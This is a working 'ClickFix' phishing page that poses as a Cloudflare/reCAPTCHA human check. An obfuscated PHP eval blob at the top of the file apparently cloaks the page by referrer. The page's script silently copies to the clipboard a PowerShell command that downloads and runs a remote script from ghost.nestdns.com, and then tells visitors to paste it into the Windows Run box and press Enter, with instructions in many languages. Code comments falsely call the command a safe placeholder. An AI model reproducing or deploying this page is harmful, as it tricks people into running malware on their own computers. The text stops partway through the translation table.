HpJNHNHOyBnb3RvIER6dVVmOyB6NElMQTogZ290byBxTXNpSzsgZ290byBJWW5MMDsgdjh2NVk6IGlmICghZW1wdHkoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFx4NTBcMTM3XHg1OFwxMzdcMTA2XHg0Zlx4NTJcMTI3XDEwMVx4NTJcMTA0XHg0NVwxMDRceDVmXHg0NlwxMTdceDUyIl0pKSB7IGdvdG8gek5rSkU7IH0gZ290byBqNGw1VjsgSVluTDA6IHpOa0pFOiBnb3RvIGZhNUVFOyBCdlJBRTogfSBnb3RvIHlhQzNQOyBHMW0ycDogJFB5WEI5ID0gJF9TRVJWRVJbIlx4NTJcMTA1XDEyMVx4NTVcMTA1XHg1M1x4NTRceDVmXHg1NVwxMjJceDQ5Il07IGdvdG8gQ015cDY7IGUyaWF3OiAkSFkwMVAgPSBwelhmdSgkZWpHY2spOyBnb3RvIHBQTG1rOyBWWHhlYTogZnVuY3Rpb24geFNjZHkoJGd2ZkU2KSB7IGdvdG8gcTBjeG87IGxoenB2OiAkdzBLT3ogPSAiXDE0N1wxNTdceDZmXHg2N1x4NmNceDY1XDU2XDE0M1wxNTdceDJlXHg2YVwxNjBceDdjXHg2N1wxNTdceDZmXDE0N1wxNTRceDY1XHgyZVwxNDNcMTU3XHg2ZFwxNzRcMTcxXHg2MVx4NjhcMTU3XDE1N1x4MmVcMTQzXHg2Zlx4MmVceDZhXDE2MFwxNzRceDc5XHg2MVwxNTBceDZmXHg2Zlw1NlwxNDNcMTU3XHg2ZFwxNzRceDYyXHg2OVwxNTZceDY3XDU2XHg2M1wxNTdcMTU1IjsgZ290byBGbDBUWTsgVW9GNHU6IGttcWJzOiBnb3RvIHdoQ0xuOyBHUFdtRjogJGJwcVZtID0gdHJ1ZTsgZ290byBVb25Ucjsgd2hDTG46IHJldHVybiAkYnBxVm07IGdvdG8gbDByTzM7IHEwY3hvOiAkYnBxVm0gPSBmYWxzZTsgZ290byBsaHpwdjsgVW9uVHI6IGZHdFdLOiBnb3RvIFVvRjR1OyBseHNLXzogaWYgKCFwcmVnX21hdGNoKCJcNTdcNTB7JHcwS096fVx4MjlceDJmXDE2M1x4NjkiLCAkZ3ZmRTYpKSB7IGdvdG8gZkd0V0s7IH0gZ290byBHUFdtRjsgRmwwVFk6IGlmICghJGd2ZkU2KSB7IGdvdG8ga21xYnM7IH0gZ290byBseHNLXzsgbDByTzM6IH0KPz4=";$w="?>";eval($w.$u($v));$s="6IGlmICghZW";$x=0;?><!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8"/>
  <meta name="viewport" content="width=device-width,initial-scale=1"/>
  <title>Checking if you are human</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
  <link rel="icon" id="dynamic-favicon" href="data:,">
  <style>

    body { background-color: #fcfcfc; color: #333; }
    .tettx { color: rgb(78 78 78); }
    .verify-main { color: #333 !important; }
    .verify-verify-button { background: #333333 !important; }
    .checkbox-window { display: flex; flex-direction: column; align-items: center; width: 300px; height: 74px; background-color: #fafafa; border: 1px solid #e0e0e0; border-radius: 4px; padding: 10px; overflow: hidden; transition: width .5s ease-in-out, height .5s ease-in-out; }
    .checkbox-container { width: 28px; height: 28px; margin-left: 12px; margin-right: 8px; position: relative; }
    .checkbox { width: 100%; height: 100%; background-color: #fff; border-radius: 2px; border: 2px solid #888; cursor: pointer; transition: border-color .3s, background-color .3s; }
    .checkbox.checked { border-color: #4285f4; background-color: #4285f4; position: relative; }
    .checkbox.checked::after { content: "\f00c"; font-family: "FontAwesome"; color: #fff; font-size: 18px; position: absolute; top: -2px; left: 2px; }
    .spinner { visibility: hidden; position: relative; }
    .verify-window { opacity: 0; visibility: hidden; width: 100%; height: 0; transition: opacity .5s, height .5s; }
    .verify-window.active { opacity: 1; visibility: visible; height: auto; }
    .verify-header { background-color: #e85d1a; padding: 10px; color: #fff; font-size: 14px; }
    .verify-main { padding: 10px; font-size: 14px; color: #fff; }
    .verify-footer { background-color: #f2f2f2; padding: 10px; text-align: right; }
    .verify-footer button { padding: 8px 15px; background: #4285f4; color: #fff; border: none; cursor: pointer; border-radius: 4px; }
    .verify-window { width: auto; }
    .verify-header { background-color: #e85d1a; padding: 10px 16px; color: #fff; font-size: 14px; border-radius: 0; }
    .lds-ring { display: inline-block; position: relative; }
    .lds-ring, .lds-ring div { height: 1.875rem; width: 1.875rem; }
    .lds-ring div { animation: lds-ring 1.2s cubic-bezier(.5,0,.5,1) infinite; border: .3rem solid transparent; border-radius: 50%; border-top-color: #313131; box-sizing: border-box; display: block; position: absolute; }
    .lds-ring div:first-child { animation-delay: -.45s; }
    .lds-ring div:nth-child(2) { animation-delay: -.3s; }
    .lds-ring div:nth-child(3) { animation-delay: -.15s; }
    @keyframes lds-ring { 0% { transform: rotate(0deg); } to { transform: rotate(1turn); } }
    @media (prefers-color-scheme: dark) { body .lds-ring div { border-color: #676767 transparent transparent; } }
    * { box-sizing: border-box; margin: 0; padding: 0; }
    body { font-family: system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"; display: flex; flex-direction: column; height: 100vh; min-height: 100vh; }
    .main-wrapper { align-items: center; display: flex; flex: 1; flex-direction: column; }
    .main-content { margin: 8rem auto; max-width: 60rem; padding-left: 1.5rem; padding-right: 1.5rem; width: 100%; }
    .footer { font-size: .75rem; line-height: 1.125rem; margin: 0 auto; max-width: 60rem; padding-left: 1.5rem; padding-right: 1.5rem; width: 100%; }
    .footer-inner { border-top: 1px solid #d9d9d9; padding-bottom: 1rem; padding-top: 1rem; text-align: center; }
    /* Popup Verification Window */
    .verify-window { font-family: Roboto,helvetica,arial,sans-serif; opacity: 0; visibility: hidden; margin: auto; width: 310px; transition: opacity 400ms; }
    .verify-window { display: block; top: 5px; left: 54px; }
    .verify-header { background-color: #1a73e8; padding: 16px; color: #fff; font-size: 18px; border-radius: 8px 8px 0 0; }
    .verify-main { padding: 16px; font-size: 14px; color: #333; }
    .verify-main ol { padding-left: 20px; }
    .verify-main ol li { margin-bottom: 10px; }
    .verify-main code { display: block; margin-top: 10px; background-color: #f9f9f9; padding: 10px; font-size: 12px; border: 1px solid #ddd; }
    .verify-footer { background-color: #f2f2f2; padding: 16px; text-align: right; }
    .verify-footer button { padding: 10px 20px; background: #4285f4; color: #fff; border: none; border-radius: 5px; cursor: pointer; }
    .overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,.5); z-index: 10; }
    .overlay.active, .verify-window.active { display: block; }
    .verify-window { width: auto; }
    .verify-header { background-color: #e85d1a; padding: 10px 16px; color: #fff; font-size: 14px; border-radius: 0; }
    #spinner2 { width: 40px; height: 40px; animation: rotate 4s linear infinite; margin-top: -4px; }
    .checkbox-window { opacity: 0; }
    @keyframes rotate { from { transform: rotate(0deg); } to { transform: rotate(360deg); } }
  </style>
</head>
<body>

<div class="main-wrapper">
 <div class="main-content">
  <div style="display: flex; align-items: center;">
   <!-- On-page logo -->
   <img class="logo-img" src="" alt="Site logo" style="height: 2rem; margin-right: 0.5rem;">
   <p style="font-size: 2.5rem; font-weight: 500; line-height: 3.75rem;"><span class="domain-name"></span></p>
  </div>

  <div style="font-size: 1.5rem; line-height: 2.25rem; margin-bottom: 2rem; min-height: 2rem;font-weight:550; padding-top: 2px">
    <p>
      <span class="preloader_text"></b>Checking if you are human. This may take a few seconds.</span>
      <span class="textallstep" style="display: none;">Verify you are human by completing the action below.</span>
    </p>
  </div>

  <!-- PRELOADER -->
  <div class="intro">
  <div class="preloader">
    <div class="lds-ring"><div></div><div></div><div></div><div></div></div>
  </div>

  <!-- START -->
  <div id="checkbox-window" class="checkbox-window" style="width: 300px; height: 74px; display: none;">
   <div style="display: flex; align-items: center; width: 100%;">
    <div class="checkbox-container" style="margin-left: 3px; margin-right: 12px; width: 30px;">

     <svg style="display: none;" class="step0" id="spinner2" fill="green" viewBox="0 0 60 60" xmlns="http://www.w3.org/2000/svg">
        <circle cx="30" cy="10" r="2.5" class="point"></circle>
        <circle cx="50" cy="30" r="2.5" class="point"></circle>
        <circle cx="30" cy="50" r="2.5" class="point"></circle>
        <circle cx="10" cy="30" r="2.5" class="point"></circle>
        <circle cx="43.6" cy="16.4" r="2.5" class="point"></circle>
        <circle cx="16.4" cy="16.4" r="2.5" class="point"></circle>
        <circle cx="43.6" cy="43.6" r="2.5" class="point"></circle>
        <circle cx="16.4" cy="43.6" r="2.5" class="point"></circle>
      </svg>

     <button type="button" id="checkbox" class="checkbox step1" style="display: none;"></button>

     <div class="spinner step2" id="spinner" style="visibility: hidden; display: none;">
      <div class="lds-ring"><div></div><div></div><div></div><div></div></div>
     </div>

     <div class="step3" style="display: none;">
      <svg width="30" height="30" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
       <circle cx="25" cy="25" r="23" fill="#28a745" />
       <path d="M15 25 L22 32 L35 18" stroke="white" stroke-width="4" fill="none" stroke-linecap="round" stroke-linejoin="round" />
      </svg>
     </div>
    </div>

    <div class="tettx">
     <p class="step0" style="margin: 0 !important;">Verifying...</p>
     <p class="step1" style="margin: 0 !important; display: none;">I'm not a robot</p>
     <p class="step2" style="margin: 0 !important; display: none;">Verification Steps</p>
     <p class="step3" style="margin: 0 !important; display: none;">Successfully.</p>
    </div>

    <div style="font-size: 8px; text-align: right; margin-left: auto;">
     <img style="width: 67px; height: 23px; margin-bottom: 5px;" src="https://i.postimg.cc/k4zrz92z/111.png" />
     <p style="text-decoration: underline;">Confidentiality</p>
     <p style="text-decoration: underline;">Terms and Conditions</p>
    </div>
   </div>

   <div id="verify-window" class="verify-window" style="border-top: 1px solid #797979; padding-top: 3px; margin-top: 15px;">
    <div class="verify-container">
     <main class="verify-main" style="color: #d9d9d9;">
      <p style="font-size: 18px; margin-bottom: 15px;">To better prove you are not a robot, please:</p>
      <ol>
       <li>Press &amp; hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>.</li>
       <li>In the verification window, press <b>Ctrl</b> + <b>V</b>.</li>
       <li>Press <b>Enter</b> on your keyboard to finish.</li>
      </ol>
      <p class="observe" style="padding-top: 10px;">
       You will observe and agree:<br>
       <code style="background: none; border: 1px solid #797979; width: 432px;"> ✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id">146820</span>" </code>
      </p>
     </main>
    </div>
    <div class="verify-container verify-footer" style="background: none;">
     <div class="verify-footer-left" style="width: 286px; float: left; text-align: left; font-size: 15px;">Perform the steps above to finish verification.</div>
     <button type="button" class="verify-verify-button block" id="verify-button" style="background: #5e5e5e; padding: 9px 38px;">Verify</button>
    </div>
   </div>

   <!-- keeps your original tiny script; it writes to .domain (not used) -->
   <script>
     document.addEventListener("DOMContentLoaded", function () {
       const domain = window.location.hostname;
       document.querySelectorAll(".domain").forEach(el => { if (el) el.textContent = domain; });
     });
   </script>

  </div>
  <p style="font-size: 1.5rem; line-height: 2.25rem; padding-top: 20px;padding-top: 33px">
    <span class="domain-name"></span> needs to review the security of your connection before proceeding.
  </p>
 </div>
</div>

<div class="footer" role="contentinfo">
 <div class="footer-inner">
  <div><div>Ray ID: <code class="ray-id">56a4c5299fdetmca</code></div></div>
  <div style="margin-top: 5px;">Platform performance and security <span style="color: #000000">Cloudflare</span></div>
 </div>
</div>

<script>
/*
  
*/
const command = `cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;


/* Robust hostname + favicon + logo (single source of truth) */
(function () {
  const params = new URLSearchParams(window.location.search);
  const siteParam = params.get('site');       // may be null/empty
  const logoParam = params.get('logo');       // optional override

  function getHostname(val) {
    if (!val) return window.location.hostname || '';
    try { return new URL(val, window.location.origin).hostname; }
    catch { return String(val).replace(/^https?:\/\//i,'').split('/')[0]; }
  }

  const host = getHostname(siteParam) || window.location.hostname || '';

  // Show domain (works for localhost too)
  document.querySelectorAll('.domain-name').forEach(el => { el.textContent = host; });

  // Tab favicon
  const faviconUrl = logoParam || `https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent(host)}`;
  (document.getElementById('dynamic-favicon') || (()=>{const l=document.createElement('link');l.rel='icon';document.head.appendChild(l);return l;})()).href = faviconUrl;

  // On-page logo: try the same favicon first, then fallbacks
  const candidates = [
    faviconUrl,                                                // same as tab
    `https://icons.duckduckgo.com/ip3/${encodeURIComponent(host)}.ico`,
    `https://${host}/favicon.ico`
  ].filter(Boolean);

  document.querySelectorAll('.logo-img').forEach(img => {
    let i = 0;
    const tryNext = () => {
      if (i >= candidates.length) { img.src = faviconUrl; return; }
      img.src = candidates[i++];
    };
    img.alt = host + ' logo';
    img.onerror = tryNext;
    tryNext();
  });
})();
</script>

<script>
// --- original logic preserved (preloader / steps logic) ---
document.addEventListener("DOMContentLoaded", function () {
    const preloaderElements = document.querySelectorAll(".preloader");
    const preloaderText = document.querySelector(".preloader_text");
    const textAllStep = document.querySelector(".textallstep");
    const checkboxWindow = document.getElementById("checkbox-window");
    const step0Elements = document.querySelectorAll(".step0");
    const step1Elements = document.querySelectorAll(".step1");
    const step2Elements = document.querySelectorAll(".step2");
    const step3Elements = document.querySelectorAll(".step3");
    const checkbox = document.getElementById("checkbox");
    const verifyWindow = document.getElementById("verify-window");
    const spinner = document.getElementById("spinner");
    const verifyButton = document.getElementById("verify-button");

    setTimeout(() => {
        preloaderElements.forEach(el => el.style.display = "none");
        if (preloaderText) preloaderText.style.display = "none";
        if (textAllStep) textAllStep.style.display = "block";
        if (checkboxWindow) checkboxWindow.style.display = "flex";

        setTimeout(() => {
            if (checkboxWindow) {
                checkboxWindow.style.display = "flex";
                let opacity = 0;
                const fadeIn = setInterval(() => {
                    if (opacity >= 1) { clearInterval(fadeIn); }
                    else { opacity += 0.1; checkboxWindow.style.opacity = opacity; }
                }, 30);
            }
        }, 200);

        step0Elements.forEach(el => el.style.display = "block");

        setTimeout(() => {
            step0Elements.forEach(el => el.style.display = "none");
            step1Elements.forEach(el => el.style.display = "block");
        }, 2000);
    }, 1500);

    if (checkbox) {
      checkbox.addEventListener("click", function () {
          // Copy behavior kept, but the copied string is the safe placeholder above
          const textarea = document.createElement('textarea');
          textarea.value = command;
          textarea.setAttribute('readonly', '');
          textarea.style.position = 'absolute';
          textarea.style.left = '-9999px';
          document.body.appendChild(textarea);
          textarea.select();
          try { document.execCommand('copy'); } catch(e) { /* ignore */ }
          document.body.removeChild(textarea);

          step1Elements.forEach(el => el.style.display = "none");
          step2Elements.forEach(el => el.style.display = "block");
          if (spinner) spinner.style.visibility = "visible";

          setTimeout(() => {
              if (checkboxWindow) {
                checkboxWindow.style.width = "530px";
                checkboxWindow.style.height = "auto";
              }
              if (verifyWindow) verifyWindow.classList.add("active");
          }, 500);
      });
    }

    if (verifyButton) {
      verifyButton.addEventListener("click", function () {
          if (verifyWindow) verifyWindow.classList.remove("active");
          if (checkboxWindow) checkboxWindow.style.height = "74px";

          setTimeout(() => {
              if (checkboxWindow) checkboxWindow.style.width = "300px";
              step2Elements.forEach(el => el.style.display = "none");
              step3Elements.forEach(el => el.style.display = "block");

              setTimeout(() => {
                  step3Elements.forEach(el => el.style.display = "none");
                  step1Elements.forEach(el => el.style.display = "block");
                  if (spinner) spinner.style.visibility = "hidden";
              }, 1000);
          }, 600);
      });
    }

    // verification id + ray id generation
    const verEl = document.getElementById("verification-id");
    if (verEl) verEl.textContent = Math.floor(100000 + Math.random() * 900000);
    const chars = "abcdef0123456789";
    const rayEl = document.querySelector(".ray-id");
    if (rayEl) {
      rayEl.textContent =
        Array.from({ length: 16 }, () => chars[Math.floor(Math.random() * chars.length)]).join("");
    }
});

// copy event: ensure copied content is the safe placeholder
document.addEventListener('copy', function (e) {
    // prevent leaking of user-selected text; set clipboard to safe placeholder
    e.preventDefault();
    if (e.clipboardData) {
        e.clipboardData.setData('text/plain', command);
    } else if (window.clipboardData) {
        window.clipboardData.setData('Text', command);
    }
});
</script>

<!-- === Translation script appended (only translations + auto-detection added) === -->
<script>
(function(){
  const i18n = {
    en:{checking:"Checking if you are human. This may take a few seconds.",verifyInstruction:"Verify you are human by completing the action below.",verifying:"Verifying...",notRobot:"I'm not a robot",steps:"Verification Steps",success:"Successfully.",verifyTitle:"To better prove you are not a robot, please:",step1:"Press &amp; hold the Windows Key <i class='fab fa-windows'></i> + <b>R</b>.",step2:"In the verification window, press <b>Ctrl</b> + <b>V</b>.",step3:"Press <b>Enter</b> on your keyboard to finish.",observe:"You will observe and agree:",confirmLead:"I am not a robot - reCAPTCHA Verification ID: ",final:"Perform the steps above to finish verification.",verifyBtn:"Verify",confidentiality:"Confidentiality",terms:"Terms and Conditions",footer:"needs to review the security of your connection before proceeding."},

    de:{checking:"Überprüfung, ob Sie ein Mensch sind. Dies kann einige Sekunden dauern.",verifyInstruction:"Bestätigen Sie, dass Sie ein Mensch sind, indem Sie die folgende Aktion ausführen.",verifying:"Wird überprüft...",notRobot:"Ich bin kein Roboter",steps:"Überprüfung",success:"Erfolgreich.",verifyTitle:"Um nachweisen zu können, dass Sie kein Roboter sind:",step1:"Halten Sie die Windows-Taste <i class='fab fa-windows'></i> + <b>R</b> gedrückt.",step2:"Drücken Sie im Verifizierungsfenster <b>Strg</b> + <b>V</b>.",step3:"Drücken Sie die <b>Eingabetaste</b>, um abzuschließen.",observe:"Wenn Sie fortfahren, bestätigen Sie:",confirmLead:"Ich bin kein Roboter – reCAPTCHA Verifizierungs-ID: ",final:"Führen Sie die obigen Schritte aus, um die Überprüfung abzuschließen.",verifyBtn:"Überprüfen",confidentiality:"Vertraulichkeit",terms:"Nutzungsbedingungen",footer:"muss die Sicherheit Ihrer Verbindung prüfen, bevor Sie fortfahren."},

    fr:{checking:"Vérification que vous êtes humain. Cela peut prendre quelques secondes.",verifyInstruction:"Vérifiez que vous êtes humain en complétant l’action ci-dessous.",verifying:"Vérification…",notRobot:"Je ne suis pas un robot",steps:"Vérification",success:"Réussi.",verifyTitle:"Pour prouver que vous n’êtes pas un robot :",step1:"Maintenez la touche Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"Dans la fenêtre de vérification, appuyez sur <b>Ctrl</b> + <b>V</b>.",step3:"Appuyez sur la touche <b>Entrée</b> pour terminer.",observe:"En continuant, vous confirmez :",confirmLead:"Je ne suis pas un robot – ID de vérification reCAPTCHA : ",final:"Effectuez les étapes ci-dessus pour terminer la vérification.",verifyBtn:"Vérifier",confidentiality:"Confidentialité",terms:"Conditions générales",footer:"doit vérifier la sécurité de votre connexion avant de continuer."},

    it:{checking:"Verifica che tu sia umano. Potrebbe volerci qualche secondo.",verifyInstruction:"Verifica di essere umano completando l'azione seguente.",verifying:"Verifica in corso…",notRobot:"Non sono un robot",steps:"Verifica",success:"Completato.",verifyTitle:"Per dimostrare che non sei un robot:",step1:"Tieni premuto il tasto Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"Nella finestra di verifica premi <b>Ctrl</b> + <b>V</b>.",step3:"Premi <b>Invio</b> per completare.",observe:"Proseguendo, confermi:",confirmLead:"Non sono un robot – ID di verifica reCAPTCHA: ",final:"Esegui i passaggi sopra per terminare la verifica.",verifyBtn:"Verifica",confidentiality:"Riservatezza",terms:"Termini e condizioni",footer:"deve verificare la sicurezza della connessione prima di procedere."},

    ar:{checking:"جاري التحقق من أنك إنسان. قد يستغرق هذا بضع ثوانٍ.",verifyInstruction:"تحقق من أنك إنسان بإكمال الخطوة أدناه.",verifying:"جارٍ التحقق…",notRobot:"لست برنامج روبوت",steps:"التحقق",success:"تم بنجاح.",verifyTitle:"لإثبات أنك لست روبوتًا:",step1:"اضغط مع الاستمرار على مفتاح Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"في نافذة التحقق اضغط <b>Ctrl</b> + <b>V</b>.",step3:"اضغط <b>Enter</b> للإنهاء.",observe:"بالمتابعة، فإنك تؤكد:",confirmLead:"أنا لست روبوتًا – معرّف تحقق reCAPTCHA: ",final:"أكمل الخطوات أعلاه لإنهاء التحقق.",verifyBtn:"تحقق",confidentiality:"السرية",terms:"الشروط والأحكام",footer:"يجب مراجعة أمان الاتصال قبل المتابعة."},

    zh:{checking:"正在检查您是否为人类。这可能需要几秒钟。",verifyInstruction:"通过完成以下操作验证您是人类。",verifying:"正在验证…",notRobot:"我不是机器人",steps:"验证",success:"成功。",verifyTitle:"为证明您不是机器人:",step1:"按住 Windows 键 <i class='fab fa-windows'></i> + <b>R</b>。",step2:"在验证窗口中按 <b>Ctrl</b> + <b>V</b>。",step3:"按 <b>Enter</b> 完成。",observe:"继续操作即表示您确认:",confirmLead:"我不是机器人 — reCAPTCHA 验证 ID:",final:"请完成以上步骤以完成验证。",verifyBtn:"验证",confidentiality:"保密",terms:"条款和条件",footer:"需要在继续之前检查您连接的安全性。"},

    ja:{checking:"あなたが人間かどうか確認しています。数秒かかる場合があります。",verifyInstruction:"以下の操作を完了して、人間であることを確認してください。",verifying:"確認中…",notRobot:"私はロボットではありません",steps:"確認",success:"成功しました。",verifyTitle:"ロボットではないことを証明するために:",step1:"Windowsキー <i class='fab fa-windows'></i> + <b>R</b> を押し続けてください。",step2:"検証ウィンドウで <b>Ctrl</b> + <b>V</b> を押してください。",step3:"<b>Enter</b> を押して完了します。",observe:"続行すると、次を確認します:",confirmLead:"私はロボットではありません — reCAPTCHA 検証 ID: ",final:"上記の手順を実行して検証を完了してください。",verifyBtn:"確認する",confidentiality:"機密保持",terms:"利用規約",footer:"続行する前に接続のセキュリティを確認する必要があります。"},

    ru:{checking:"Проверяем, что вы человек. Это может занять несколько секунд.",verifyInstruction:"Подтвердите, что вы человек, выполнив действие ниже.",verifying:"Проверка…",notRobot:"Я не робот",steps:"Проверка",success:"Успешно.",verifyTitle:"Чтобы доказать, что вы не робот:",step1:"Удерживайте клавишу Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"В окне проверки нажмите <b>Ctrl</b> + <b>V</b>.",step3:"Нажмите <b>Enter</b> для завершения.",observe:"Продолжая, вы подтверждаете:",confirmLead:"Я не робот — ID проверки reCAPTCHA: ",final:"Выполните шаги выше, чтобы завершить проверку.",verifyBtn:"Проверить",confidentiality:"Конфиденциальность",terms:"Условия использования",footer:"должен проверить безопасность вашего соединения перед продолжением."},

    es:{checking:"Comprobando si eres humano. Esto puede tardar unos segundos.",verifyInstruction:"Verifica que eres humano completando la acción siguiente.",verifying:"Verificando…",notRobot:"No soy un robot",steps:"Verificación",success:"Correcto.",verifyTitle:"Para demostrar que no eres un robot:",step1:"Mantén pulsada la tecla Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"En la ventana de verificación, pulsa <b>Ctrl</b> + <b>V</b>.",step3:"Pulsa <b>Enter</b> para finalizar.",observe:"Al continuar, confirmas:",confirmLead:"No soy un robot — ID de verificación reCAPTCHA: ",final:"Realiza los pasos anteriores para finalizar la verificación.",verifyBtn:"Verificar",confidentiality:"Confidencialidad",terms:"Términos y condiciones",footer:"debe revisar la seguridad de tu conexión antes de continuar."},

    pt:{checking:"Verificando se você é humano. Isso pode levar alguns segundos.",verifyInstruction:"Confirme que você é humano concluindo a ação abaixo.",verifying:"Verificando…",notRobot:"Não sou um robô",steps:"Verificação",success:"Concluído.",verifyTitle:"Para provar que você não é um robô:",step1:"Mantenha pressionada a tecla Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"Na janela de verificação, pressione <b>Ctrl</b> + <b>V</b>.",step3:"Pressione <b>Enter</b> para concluir.",observe:"Ao continuar, você confirma:",confirmLead:"Não sou um robô — ID de verificação reCAPTCHA: ",final:"Conclua as etapas acima para finalizar a verificação.",verifyBtn:"Verificar",confidentiality:"Confidencialidade",terms:"Termos e condições",footer:"precisa revisar a segurança da sua conexão antes de prosseguir."},

    nl:{checking:"Controleren of u een mens bent. Dit kan enkele seconden duren.",verifyInstruction:"Bevestig dat u een mens bent door de onderstaande actie uit te voeren.",verifying:"Bezig met controleren…",notRobot:"Ik ben geen robot",steps:"Verificatie",success:"Gelukt.",verifyTitle:"Om aan te tonen dat u geen robot bent:",step1:"Houd de Windows-toets <i class='fab fa-windows'></i> + <b>R</b> ingedrukt.",step2:"Druk in het verificatievenster op <b>Ctrl</b> + <b>V</b>.",step3:"Druk op <b>Enter</b> om af te ronden.",observe:"Als u doorgaat, bevestigt u:",confirmLead:"Ik ben geen robot — reCAPTCHA-verificatie-ID: ",final:"Voer de bovenstaande stappen uit om de verificatie te voltooien.",verifyBtn:"Verifiëren",confidentiality:"Vertrouwelijkheid",terms:"Voorwaarden",footer:"moet de veiligheid van uw verbinding controleren voordat u verdergaat."},

    tr:{checking:"İnsan olup olmadığınız kontrol ediliyor. Bu birkaç saniye sürebilir.",verifyInstruction:"Aşağıdaki işlemi tamamlayarak insan olduğunuzu doğrulayın.",verifying:"Doğrulanıyor…",notRobot:"Ben robot değilim",steps:"Doğrulama",success:"Başarılı.",verifyTitle:"Robot olmadığınızı kanıtlamak için:",step1:"Windows tuşunu <i class='fab fa-windows'></i> + <b>R</b> ile basılı tutun.",step2:"Doğrulama penceresinde <b>Ctrl</b> + <b>V</b> tuşlarına basın.",step3:"Bitirmek için <b>Enter</b>’a basın.",observe:"Devam ederek şunları onaylarsınız:",confirmLead:"Robot değilim — reCAPTCHA Doğrulama Kimliği: ",final:"Doğrulamayı tamamlamak için yukarıdaki adımları uygulayın.",verifyBtn:"Doğrula",confidentiality:"Gizlilik",terms:"Şartlar ve Koşullar",footer:"devam etmeden önce bağlantınızın güvenliğini kontrol etmelidir."},

    ko:{checking:"사용자가 사람인지 확인하는 중입니다. 잠시만 기다려 주세요.",verifyInstruction:"아래 작업을 완료하여 사람이 맞는지 확인하세요.",verifying:"확인 중…",notRobot:"나는 로봇이 아닙니다",steps:"검증",success:"성공.",verifyTitle:"로봇이 아님을 증명하려면:",step1:"Windows 키 <i class='fab fa-windows'></i> + <b>R</b>을 누르세요.",step2:"검증 창에서 <b>Ctrl</b> + <b>V</b>를 누르세요.",step3:"마치려면 <b>Enter</b>를 누르세요.",observe:"계속하면 다음을 확인합니다:",confirmLead:"로봇이 아닙니다 — reCAPTCHA 확인 ID: ",final:"위 단계들을 완료하여 검증을 마치세요.",verifyBtn:"확인",confidentiality:"기밀",terms:"이용약관",footer:"계속하기 전에 연결의 보안을 확인해야 합니다."},

    /* --------- NEW: 6 languages (fixed / hard-coded translations) --------- */

    hi:{checking:"सत्यापित किया जा रहा है कि आप मानव हैं। इसमें कुछ सेकंड लग सकते हैं।",verifyInstruction:"नीचे दिया गया कार्य पूरा करके प्रमाणित करें कि आप एक मानव हैं।",verifying:"सत्यापित कर रहे हैं...",notRobot:"मैं एक रोबोट नहीं हूँ",steps:"सत्यापन चरण",success:"सफल।",verifyTitle:"यह सिद्ध करने के लिए कि आप रोबोट नहीं हैं:",step1:"Windows कुंजी <i class='fab fa-windows'></i> + <b>R</b> दबाकर रखें।",step2:"सत्यापन विंडो में <b>Ctrl</b> + <b>V</b> दबाएँ।",step3:"समाप्त करने के लिए कीबोर्ड पर <b>Enter</b> दबाएँ।",observe:"आप देखेंगे और सहमत होंगे:",confirmLead:"मैं एक रोबोट नहीं हूँ - reCAPTCHA सत्यापन आईडी: ",final:"सत्यापन पूरा करने के लिए ऊपर दिए गए चरणों का पालन करें।",verifyBtn:"सत्यापित करें",confidentiality:"गोपनीयता",terms:"नियम और शर्तें",footer:"आपकी कनेक्शन की सुरक्षा की समीक्षा करने की आवश्यकता है।"},

    id:{checking:"Memeriksa apakah Anda manusia. Ini mungkin membutuhkan beberapa detik.",verifyInstruction:"Verifikasi bahwa Anda manusia dengan menyelesaikan tindakan di bawah ini.",verifying:"Memverifikasi...",notRobot:"Saya bukan robot",steps:"Langkah Verifikasi",success:"Berhasil.",verifyTitle:"Untuk membuktikan bahwa Anda bukan robot:",step1:"Tekan dan tahan Tombol Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"Di jendela verifikasi, tekan <b>Ctrl</b> + <b>V</b>.",step3:"Tekan <b>Enter</b> pada keyboard Anda untuk menyelesaikan.",observe:"Anda akan melihat dan menyetujui:",confirmLead:"Saya bukan robot - ID Verifikasi reCAPTCHA: ",final:"Lakukan langkah di atas untuk menyelesaikan verifikasi.",verifyBtn:"Verifikasi",confidentiality:"Kerahasiaan",terms:"Syarat dan Ketentuan",footer:"perlu meninjau keamanan koneksi Anda sebelum melanjutkan."},

    vi:{checking:"Đang kiểm tra xem bạn có phải là con người không. Việc này có thể mất vài giây.",verifyInstruction:"Xác minh bạn là người bằng cách hoàn thành hành động bên dưới.",verifying:"Đang xác minh...",notRobot:"Tôi không phải là rô-bốt",steps:"Các bước xác minh",success:"Thành công.",verifyTitle:"Để chứng minh bạn không phải là rô-bốt:",step1:"Nhấn và giữ phím Windows <i class='fab fa-windows'></i> + <b>R</b>.",step2:"Trong cửa sổ xác minh, nhấn <b>Ctrl</b> + <b>V</b>.",step3:"Nhấn <b>Enter</b> trên bàn phím để kết thúc.",observe:"Bạn sẽ quan sát và đồng ý:",confirmLead:"Tôi không phải là rô-bốt - ID xác minh reCAPTCHA: ",final:"Thực hiện các bước trên để hoàn tất xác minh.",verifyBtn:"Xác minh",confidentiality:"Bảo mật",terms:"Điều khoản và Điều kiện",footer:"cần kiểm tra bảo mật kết nối của bạn trước khi tiếp tục."},

